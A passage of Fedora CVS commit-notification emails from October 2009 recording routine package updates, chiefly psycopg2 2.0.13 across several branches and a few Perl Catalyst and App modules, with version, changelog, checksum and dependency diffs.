--- .cvsignore	19 May 2009 19:23:32 -0000	1.9
+++ .cvsignore	18 Oct 2009 07:16:36 -0000	1.10
@@ -1,4 +1 @@
-psycopg2-2.0.8.tar.gz
-psycopg2-2.0.9.tar.gz
-psycopg2-2.0.10.tar.gz
-psycopg2-2.0.11.tar.gz
+psycopg2-2.0.13.tar.gz


Index: python-psycopg2.spec
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/EL-5/python-psycopg2.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- python-psycopg2.spec	19 May 2009 19:35:49 -0000	1.12
+++ python-psycopg2.spec	18 Oct 2009 07:16:36 -0000	1.13
@@ -7,7 +7,7 @@
 
 Summary:	A PostgreSQL database adapter for Python
 Name:		python-psycopg2
-Version:	2.0.11
+Version:	2.0.13
 Release:	1%{?dist}
 Source0:	http://initd.org/pub/software/psycopg/psycopg2-%{version}.tar.gz
 License:	GPL (with Exceptions)
@@ -84,6 +84,9 @@ rm -rf %{buildroot}
 %{ZPsycopgDAdir}/icons/*
 
 %changelog
+* Sun Oct 18 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.13-1
+- Update to 2.0.13
+
 * Tue May 19 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.11-1
 - Update to 2.0.11
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/EL-5/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	19 May 2009 19:23:32 -0000	1.9
+++ sources	18 Oct 2009 07:16:36 -0000	1.10
@@ -1,4 +1 @@
-2c31827878d436b0c89e777989ff55af  psycopg2-2.0.8.tar.gz
-885e5bd372afafd14cfd914b000462e7  psycopg2-2.0.9.tar.gz
-2dc60d0fd90ad681e1e9106edef34e97  psycopg2-2.0.10.tar.gz
-eec2a45bcea75a00cbf20a15ab1b8bae  psycopg2-2.0.11.tar.gz
+f520260595f4fcf035d26cfd57a75f19  psycopg2-2.0.13.tar.gz



From devrim at fedoraproject.org  Sun Oct 18 07:16:37 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun, 18 Oct 2009 07:16:37 +0000 (UTC)
Subject: rpms/python-psycopg2/F-10 .cvsignore, 1.10,
	1.11 python-psycopg2.spec, 1.21, 1.22 sources, 1.10, 1.11
Message-ID: <20091018071637.92B7A11C00E8@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/python-psycopg2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15641/F-10

Modified Files:
	.cvsignore python-psycopg2.spec sources 
Log Message:

Update to 2.0.13. 



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-10/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	14 Aug 2009 21:11:23 -0000	1.10
+++ .cvsignore	18 Oct 2009 07:16:37 -0000	1.11
@@ -1 +1 @@
-psycopg2-2.0.12.tar.gz
+psycopg2-2.0.13.tar.gz


Index: python-psycopg2.spec
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-10/python-psycopg2.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- python-psycopg2.spec	14 Aug 2009 21:11:23 -0000	1.21
+++ python-psycopg2.spec	18 Oct 2009 07:16:37 -0000	1.22
@@ -7,7 +7,7 @@
 
 Summary:	A PostgreSQL database adapter for Python
 Name:		python-psycopg2
-Version:	2.0.12
+Version:	2.0.13
 Release:	1%{?dist}
 Source0:	http://initd.org/pub/software/psycopg/psycopg2-%{version}.tar.gz
 # The exceptions allow linking to OpenSSL and PostgreSQL's libpq
@@ -90,6 +90,9 @@ rm -rf %{buildroot}
 #%{ZPsycopgDAdir}/icons/*
 
 %changelog
+* Sun Oct 18 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.13-1
+- Update to 2.0.13
+
 * Fri Aug 14 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.12-1
 - Update to 2.0.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-10/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	14 Aug 2009 21:11:23 -0000	1.10
+++ sources	18 Oct 2009 07:16:37 -0000	1.11
@@ -1 +1 @@
-5c8080d0d0568479f041bb8534caf1f8  psycopg2-2.0.12.tar.gz
+f520260595f4fcf035d26cfd57a75f19  psycopg2-2.0.13.tar.gz



From devrim at fedoraproject.org  Sun Oct 18 07:16:37 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun, 18 Oct 2009 07:16:37 +0000 (UTC)
Subject: rpms/python-psycopg2/F-11 .cvsignore, 1.10,
	1.11 python-psycopg2.spec, 1.26, 1.27 sources, 1.10, 1.11
Message-ID: <20091018071637.E250C11C00E8@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/python-psycopg2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15641/F-11

Modified Files:
	.cvsignore python-psycopg2.spec sources 
Log Message:

Update to 2.0.13. 



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	14 Aug 2009 21:11:23 -0000	1.10
+++ .cvsignore	18 Oct 2009 07:16:37 -0000	1.11
@@ -1 +1 @@
-psycopg2-2.0.12.tar.gz
+psycopg2-2.0.13.tar.gz


Index: python-psycopg2.spec
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-11/python-psycopg2.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- python-psycopg2.spec	14 Aug 2009 21:11:23 -0000	1.26
+++ python-psycopg2.spec	18 Oct 2009 07:16:37 -0000	1.27
@@ -7,7 +7,7 @@
 
 Summary:	A PostgreSQL database adapter for Python
 Name:		python-psycopg2
-Version:	2.0.12
+Version:	2.0.13
 Release:	1%{?dist}
 Source0:	http://initd.org/pub/software/psycopg/psycopg2-%{version}.tar.gz
 # The exceptions allow linking to OpenSSL and PostgreSQL's libpq
@@ -90,6 +90,9 @@ rm -rf %{buildroot}
 #%{ZPsycopgDAdir}/icons/*
 
 %changelog
+* Sun Oct 18 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.13-1
+- Update to 2.0.13
+
 * Fri Aug 14 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.12-1
 - Update to 2.0.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	14 Aug 2009 21:11:23 -0000	1.10
+++ sources	18 Oct 2009 07:16:37 -0000	1.11
@@ -1 +1 @@
-5c8080d0d0568479f041bb8534caf1f8  psycopg2-2.0.12.tar.gz
+f520260595f4fcf035d26cfd57a75f19  psycopg2-2.0.13.tar.gz



From devrim at fedoraproject.org  Sun Oct 18 07:16:38 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun, 18 Oct 2009 07:16:38 +0000 (UTC)
Subject: rpms/python-psycopg2/F-12 .cvsignore, 1.10,
	1.11 python-psycopg2.spec, 1.26, 1.27 sources, 1.10, 1.11
Message-ID: <20091018071638.4823711C00E8@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/python-psycopg2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15641/F-12

Modified Files:
	.cvsignore python-psycopg2.spec sources 
Log Message:

Update to 2.0.13. 



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	14 Aug 2009 18:38:28 -0000	1.10
+++ .cvsignore	18 Oct 2009 07:16:37 -0000	1.11
@@ -1 +1 @@
-psycopg2-2.0.12.tar.gz
+psycopg2-2.0.13.tar.gz


Index: python-psycopg2.spec
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-12/python-psycopg2.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- python-psycopg2.spec	14 Aug 2009 18:38:28 -0000	1.26
+++ python-psycopg2.spec	18 Oct 2009 07:16:38 -0000	1.27
@@ -7,7 +7,7 @@
 
 Summary:	A PostgreSQL database adapter for Python
 Name:		python-psycopg2
-Version:	2.0.12
+Version:	2.0.13
 Release:	1%{?dist}
 Source0:	http://initd.org/pub/software/psycopg/psycopg2-%{version}.tar.gz
 # The exceptions allow linking to OpenSSL and PostgreSQL's libpq
@@ -90,6 +90,9 @@ rm -rf %{buildroot}
 #%{ZPsycopgDAdir}/icons/*
 
 %changelog
+* Sun Oct 18 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.13-1
+- Update to 2.0.13
+
 * Fri Aug 14 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.12-1
 - Update to 2.0.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	14 Aug 2009 18:38:28 -0000	1.10
+++ sources	18 Oct 2009 07:16:38 -0000	1.11
@@ -1 +1 @@
-5c8080d0d0568479f041bb8534caf1f8  psycopg2-2.0.12.tar.gz
+f520260595f4fcf035d26cfd57a75f19  psycopg2-2.0.13.tar.gz



From devrim at fedoraproject.org  Sun Oct 18 07:16:38 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun, 18 Oct 2009 07:16:38 +0000 (UTC)
Subject: rpms/python-psycopg2/devel .cvsignore, 1.10,
	1.11 python-psycopg2.spec, 1.26, 1.27 sources, 1.10, 1.11
Message-ID: <20091018071638.AB1D911C00E8@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/python-psycopg2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15641/devel

Modified Files:
	.cvsignore python-psycopg2.spec sources 
Log Message:

Update to 2.0.13. 



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	14 Aug 2009 18:38:28 -0000	1.10
+++ .cvsignore	18 Oct 2009 07:16:38 -0000	1.11
@@ -1 +1 @@
-psycopg2-2.0.12.tar.gz
+psycopg2-2.0.13.tar.gz


Index: python-psycopg2.spec
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/devel/python-psycopg2.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- python-psycopg2.spec	14 Aug 2009 18:38:28 -0000	1.26
+++ python-psycopg2.spec	18 Oct 2009 07:16:38 -0000	1.27
@@ -7,7 +7,7 @@
 
 Summary:	A PostgreSQL database adapter for Python
 Name:		python-psycopg2
-Version:	2.0.12
+Version:	2.0.13
 Release:	1%{?dist}
 Source0:	http://initd.org/pub/software/psycopg/psycopg2-%{version}.tar.gz
 # The exceptions allow linking to OpenSSL and PostgreSQL's libpq
@@ -90,6 +90,9 @@ rm -rf %{buildroot}
 #%{ZPsycopgDAdir}/icons/*
 
 %changelog
+* Sun Oct 18 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.13-1
+- Update to 2.0.13
+
 * Fri Aug 14 2009 Devrim GUNDUZ <devrim at gunduz.org> - 2.0.12-1
 - Update to 2.0.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-psycopg2/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	14 Aug 2009 18:38:28 -0000	1.10
+++ sources	18 Oct 2009 07:16:38 -0000	1.11
@@ -1 +1 @@
-5c8080d0d0568479f041bb8534caf1f8  psycopg2-2.0.12.tar.gz
+f520260595f4fcf035d26cfd57a75f19  psycopg2-2.0.13.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 07:49:21 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 07:49:21 +0000 (UTC)
Subject: rpms/perl-App-Nopaste/devel .cvsignore, 1.4,
	1.5 perl-App-Nopaste.spec, 1.8, 1.9 sources, 1.4, 1.5
Message-ID: <20091018074922.0C3BF11C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-App-Nopaste/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24542

Modified Files:
	.cvsignore perl-App-Nopaste.spec sources 
Log Message:
* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.16-1
- update to latest upstream version (fixes rt#50500 Gist support)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-App-Nopaste/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 05:59:52 -0000	1.4
+++ .cvsignore	18 Oct 2009 07:49:20 -0000	1.5
@@ -1 +1 @@
-App-Nopaste-0.15.tar.gz
+App-Nopaste-0.16.tar.gz


Index: perl-App-Nopaste.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-App-Nopaste/devel/perl-App-Nopaste.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-App-Nopaste.spec	31 Jul 2009 05:59:52 -0000	1.8
+++ perl-App-Nopaste.spec	18 Oct 2009 07:49:20 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           perl-App-Nopaste
-Version:        0.15
+Version:        0.16
 Release:        1%{?dist}
 Summary:        Easy access to any pastebin
 License:        GPL+ or Artistic
@@ -86,6 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.16-1
+- update to latest upstream version (fixes rt#50500 Gist support)
+
 * Fri Jul 31 2009 Iain Arnell <iarnell at gmail.com> 0.15-1
 - update to latest upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-App-Nopaste/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 05:59:52 -0000	1.4
+++ sources	18 Oct 2009 07:49:20 -0000	1.5
@@ -1 +1 @@
-1c99922772d1a33670f99da39a654c97  App-Nopaste-0.15.tar.gz
+01696a99b8047775053291122215f774  App-Nopaste-0.16.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 07:50:11 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 07:50:11 +0000 (UTC)
Subject: rpms/perl-App-Daemon/devel .cvsignore, 1.2, 1.3 perl-App-Daemon.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091018075011.DE14D11C02A4@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-App-Daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24802

Modified Files:
	.cvsignore perl-App-Daemon.spec sources 
Log Message:
* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.07-1
- update to latest upstream (fixes rt#50326)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-App-Daemon/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	30 Apr 2009 07:11:18 -0000	1.2
+++ .cvsignore	18 Oct 2009 07:50:11 -0000	1.3
@@ -1 +1 @@
-App-Daemon-0.06.tar.gz
+App-Daemon-0.07.tar.gz


Index: perl-App-Daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-App-Daemon/devel/perl-App-Daemon.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-App-Daemon.spec	26 Jul 2009 01:41:20 -0000	1.2
+++ perl-App-Daemon.spec	18 Oct 2009 07:50:11 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-App-Daemon
-Version:        0.06
-Release:        2%{?dist}
+Version:        0.07
+Release:        1%{?dist}
 Summary:        Start an Application as a Daemon
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -50,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.07-1
+- update to latest upstream (fixes rt#50326)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.06-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-App-Daemon/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	30 Apr 2009 07:11:18 -0000	1.2
+++ sources	18 Oct 2009 07:50:11 -0000	1.3
@@ -1 +1 @@
-475859e3fa7f67c2dfd4d5d8bea1475d  App-Daemon-0.06.tar.gz
+ebf9390731550f6687b862a1b370f598  App-Daemon-0.07.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 08:42:04 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 08:42:04 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Session-Store-FastMmap/devel .cvsignore,
	1.6, 1.7 perl-Catalyst-Plugin-Session-Store-FastMmap.spec, 1.7,
	1.8 sources, 1.6, 1.7
Message-ID: <20091018084204.92BC511C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-FastMmap/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7451

Modified Files:
	.cvsignore perl-Catalyst-Plugin-Session-Store-FastMmap.spec 
	sources 
Log Message:
* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.12-1
- update to latest upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-FastMmap/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	21 Jun 2009 07:25:28 -0000	1.6
+++ .cvsignore	18 Oct 2009 08:42:02 -0000	1.7
@@ -1 +1 @@
-Catalyst-Plugin-Session-Store-FastMmap-0.11.tar.gz
+Catalyst-Plugin-Session-Store-FastMmap-0.12.tar.gz


Index: perl-Catalyst-Plugin-Session-Store-FastMmap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-FastMmap/devel/perl-Catalyst-Plugin-Session-Store-FastMmap.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- perl-Catalyst-Plugin-Session-Store-FastMmap.spec	26 Jul 2009 04:15:29 -0000	1.7
+++ perl-Catalyst-Plugin-Session-Store-FastMmap.spec	18 Oct 2009 08:42:02 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           perl-Catalyst-Plugin-Session-Store-FastMmap
-Version:        0.11
-Release:        2%{?dist}
+Version:        0.12
+Release:        1%{?dist}
 Summary:        FastMmap session storage backend
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -9,7 +9,7 @@ Source0:        http://www.cpan.org/modu
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl(Cache::FastMmap) >= 1.29
-BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.09
+BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.27
 BuildRequires:  perl(ExtUtils::MakeMaker)
 BuildRequires:  perl(MRO::Compat)
 BuildRequires:  perl(Path::Class)
@@ -17,7 +17,7 @@ BuildRequires:  perl(Test::More)
 BuildRequires:  perl(Test::Pod)
 BuildRequires:  perl(Test::Pod::Coverage)
 Requires:       perl(Cache::FastMmap) >= 1.29
-Requires:       perl(Catalyst::Plugin::Session) >= 0.09
+Requires:       perl(Catalyst::Plugin::Session) >= 0.27
 Requires:       perl(Class::Accessor::Fast)
 Requires:       perl(Class::Data::Inheritable)
 
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.12-1
+- update to latest upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-Store-FastMmap/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	21 Jun 2009 07:25:28 -0000	1.6
+++ sources	18 Oct 2009 08:42:02 -0000	1.7
@@ -1 +1 @@
-75c545a9b1cd92b294aa950677bb631a  Catalyst-Plugin-Session-Store-FastMmap-0.11.tar.gz
+e4d75600cd9255f144b7e2b9e8590b36  Catalyst-Plugin-Session-Store-FastMmap-0.12.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 08:45:04 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 08:45:04 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Unicode/devel .cvsignore, 1.3,
	1.4 perl-Catalyst-Plugin-Unicode.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091018084504.50DDB11C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Unicode/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8654

Modified Files:
	.cvsignore perl-Catalyst-Plugin-Unicode.spec sources 
Log Message:
* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.92-1
- update to latest upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Unicode/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Apr 2009 04:08:08 -0000	1.3
+++ .cvsignore	18 Oct 2009 08:45:03 -0000	1.4
@@ -1 +1 @@
-Catalyst-Plugin-Unicode-0.91.tar.gz
+Catalyst-Plugin-Unicode-0.92.tar.gz


Index: perl-Catalyst-Plugin-Unicode.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Unicode/devel/perl-Catalyst-Plugin-Unicode.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-Catalyst-Plugin-Unicode.spec	26 Jul 2009 04:17:18 -0000	1.3
+++ perl-Catalyst-Plugin-Unicode.spec	18 Oct 2009 08:45:03 -0000	1.4
@@ -1,11 +1,11 @@
 Name:           perl-Catalyst-Plugin-Unicode
-Version:        0.91
-Release:        2%{?dist}
+Version:        0.92
+Release:        1%{?dist}
 Summary:        Unicode aware Catalyst
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/Catalyst-Plugin-Unicode/
-Source0:        http://search.cpan.org/CPAN/authors/id/M/MR/MRAMBERG/Catalyst-Plugin-Unicode-%{version}.tar.gz
+Source0:        http://cpan.org/modules/by-module/Catalyst/Catalyst-Plugin-Unicode-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl(Catalyst::Runtime) >= 5.70
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.92-1
+- update to latest upstream
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.91-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Unicode/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Apr 2009 04:08:08 -0000	1.3
+++ sources	18 Oct 2009 08:45:04 -0000	1.4
@@ -1 +1 @@
-a8782196979c04b9244533459604aaf4  Catalyst-Plugin-Unicode-0.91.tar.gz
+5e28abcf49f99e1cbebb317ed336c97a  Catalyst-Plugin-Unicode-0.92.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 08:48:10 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 08:48:10 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Session-State-URI/devel .cvsignore, 1.5, 
	1.6 perl-Catalyst-Plugin-Session-State-URI.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091018084810.5D26011C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10059

Modified Files:
	.cvsignore perl-Catalyst-Plugin-Session-State-URI.spec sources 
Log Message:
* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.13-1
- update to latest upstream version
- update BRs for tests



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Oct 2009 07:13:56 -0000	1.5
+++ .cvsignore	18 Oct 2009 08:48:10 -0000	1.6
@@ -1 +1 @@
-Catalyst-Plugin-Session-State-URI-0.12.tar.gz
+Catalyst-Plugin-Session-State-URI-0.13.tar.gz


Index: perl-Catalyst-Plugin-Session-State-URI.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel/perl-Catalyst-Plugin-Session-State-URI.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- perl-Catalyst-Plugin-Session-State-URI.spec	10 Oct 2009 07:13:56 -0000	1.7
+++ perl-Catalyst-Plugin-Session-State-URI.spec	18 Oct 2009 08:48:10 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           perl-Catalyst-Plugin-Session-State-URI
-Version:        0.12
+Version:        0.13
 Release:        1%{?dist}
 Summary:        Saves session IDs by rewriting URIs delivered to the client
 License:        GPL+ or Artistic
@@ -8,7 +8,7 @@ URL:            http://search.cpan.org/d
 Source0:        http://cpan.org/modules/by-module/Catalyst/Catalyst-Plugin-Session-State-URI-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
-BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.06
+BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.27
 BuildRequires:  perl(Catalyst::Plugin::Session::State::Cookie) >= 0.03
 BuildRequires:  perl(ExtUtils::MakeMaker)
 BuildRequires:  perl(HTML::TokeParser::Simple)
@@ -16,6 +16,8 @@ BuildRequires:  perl(MIME::Types)
 BuildRequires:  perl(MRO::Compat)
 BuildRequires:  perl(Test::MockObject) >= 1.01
 BuildRequires:  perl(Test::Pod)
+BuildRequires:  perl(Test::Pod::Coverage)
+BuildRequires:  perl(Test::WWW::Mechanize::Catalyst)
 BuildRequires:  perl(URI)
 BuildRequires:  perl(URI::Find)
 BuildRequires:  perl(URI::QueryParam)
@@ -55,6 +57,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sun Oct 18 2009 Iain Arnell <iarnell at gmail.com> 0.13-1
+- update to latest upstream version
+- update BRs for tests
+
 * Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.12-1
 - update to latest upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Oct 2009 07:13:56 -0000	1.5
+++ sources	18 Oct 2009 08:48:10 -0000	1.6
@@ -1 +1 @@
-3bd6c1eadc8aaf80d7684dd1ccfdd42c  Catalyst-Plugin-Session-State-URI-0.12.tar.gz
+6e5c733ce541e131ad581ebfff990c70  Catalyst-Plugin-Session-State-URI-0.13.tar.gz



From iarnell at fedoraproject.org  Sun Oct 18 08:48:48 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sun, 18 Oct 2009 08:48:48 +0000 (UTC)
Subject: rpms/perl-DBIx-Class-EncodedColumn/devel .cvsignore, 1.4,
	1.5 perl-DBIx-Class-EncodedColumn.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091018084848.8BA2B11C00E8@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-DBIx-Class-EncodedColumn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10297

Modified Files:
	.cvsignore perl-DBIx-Class-EncodedColumn.spec sources 
Log Message:
